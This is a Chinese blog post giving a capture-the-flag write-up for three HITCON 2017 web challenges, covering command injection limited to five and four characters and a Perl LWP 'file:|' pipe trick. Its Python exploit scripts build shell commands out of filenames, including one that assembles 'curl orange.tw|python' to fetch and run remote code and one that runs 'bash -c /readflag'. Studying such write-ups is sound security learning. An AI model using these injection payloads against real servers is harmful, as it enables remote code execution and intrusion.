美文网首页CTF网络安全实验室
HITCON2017 writeup(web)

HITCON2017 writeup(web)

作者: zhazhami | 来源:发表于2017-11-07 21:05 被阅读122次

    国际赛还是水准比较高的,题目都很有通用性

    一、BabyFirst Revenge

    源码:

    <?php
        $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
        @mkdir($sandbox);
        @chdir($sandbox);
        if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
            @exec($_GET['cmd']);
        } else if (isset($_GET['reset'])) {
            @exec('/bin/rm -rf ' . $sandbox);
        }
        highlight_file(__FILE__);
    

    五个字符的命令执行,这个还是比较简单的,附上一种exp:

    import requests
    
    def exec_sub(cmd):
        resp = requests.post("http://52.199.204.34/?cmd="+cmd).text
    
    def exec(cmd):
        for x in cmd:
            print(x)
            if cmd[-1]==x:
                exec_sub(">%s" % x)
                exec_sub("ls>>\\")
                exec_sub("rm %s" % x)          
            elif x==" ":
                exec_sub(">\\ \\")
                exec_sub("ls>>\\")
                exec_sub("rm ?\\")
            else:
                exec_sub(">%s\\" % x)
                exec_sub("ls>>\\")
                exec_sub("rm %s\\" % x)
        exec_sub("sh \\")
    
    exec("wget 1759614952")
    

    将命令分隔成单个字符,不断新建文件、写入、删除,用“\”连接起来即可,最后sh执行文件。

    二、BabyFirst Revenge v2

    源码:

    <?php
        $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
        @mkdir($sandbox);
        @chdir($sandbox);
        if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
            @exec($_GET['cmd']);
        } else if (isset($_GET['reset'])) {
            @exec('/bin/rm -rf ' . $sandbox);
        }
        highlight_file(__FILE__);
    

    v2变成四个字符了,这时就不能用rm了,保持顺序拼接命令就比较困难了,附上官方的exp

    import requests
    from urllib import quote
    
    payload = [
        # 将 "g> ht- sl" 写到文件 "v"
        '>dir', 
        '>sl', 
        '>g\>',
        '>ht-',
        '*>v',
    
        # 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
        '>rev',
        '*v>x',
    
        # 生成命令 "curl orange.tw|python;"
        '>\;\\', 
        '>on\\', 
        '>th\\', 
        '>py\\', 
        '>\|\\', 
        '>tw\\',
        '>e.\\', 
        '>ng\\', 
        '>ra\\', 
        '>o\\', 
        '>\ \\', 
        '>rl\\', 
        '>cu\\', 
    
        # getshell
        'sh x', 
        'sh g', 
    ]
    
    
    r = requests.get('http://52.197.41.31/?reset=1')
    for i in payload:
        r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
    

    这里用"*>v"的时候,会将目录下文件的名字连接起来,作为命令重定向到文件"v"

    三、SSRFme?

    源码:

    <?php 
        $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
        @mkdir($sandbox); 
        @chdir($sandbox);
    
        $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
        $info = pathinfo($_GET["filename"]); 
        $dir  = str_replace(".", "", basename($info["dirname"])); 
        @mkdir($dir); 
        @chdir($dir); 
        @file_put_contents(basename($info["basename"]), $data); 
        highlight_file(__FILE__);
    

    这题主要是利用了perl的open函数执行命令的特性,open函数的第二个参数可以将文件流用管道重定向到其它地方。比如open(FD,"|id")即可执行id命令。
    perl的LWP对于file协议的处理就调用了open函数,查看file.pm文件如下:

    ...
    opendir(D, $path) or
          return HTTP::Response->new( &HTTP::Status::RC_INTERNAL_SERVER_ERROR,
                "Cannot read directory '$path': $!");
    ...
    # read the file
    if ($method ne "HEAD") {
    open(F, $path) or return new
        HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
                "Cannot read file '$path': $!");
    binmode(F);
    $response =  $self->collect($arg, $response, sub {
        my $content = "";
        my $bytes = sysread(F, $content, $size);
        return \$content if $bytes > 0;
        return \ "";
    });
    close(F);
    }
    ...
    

    只要访问file://|whoami就能执行命令了,但前提是$path存在,所以要先建一个以要执行的命令为文件名的文件。最终的exp如下:

    import requests
    
    target = "http://13.115.136.15"
    requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
    requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
    print(requests.get(target+"/sandbox/c9d6ffb50b54d12fc4dfe6a4d9676fd8/1").text)
    

    相关文章

      网友评论

      • Black_Sun:我做了一道pwn start ruby实现的

      本文标题:HITCON2017 writeup(web)

      本文链接:https://www.haomeiwen.com/subject/gxqsmxtx.html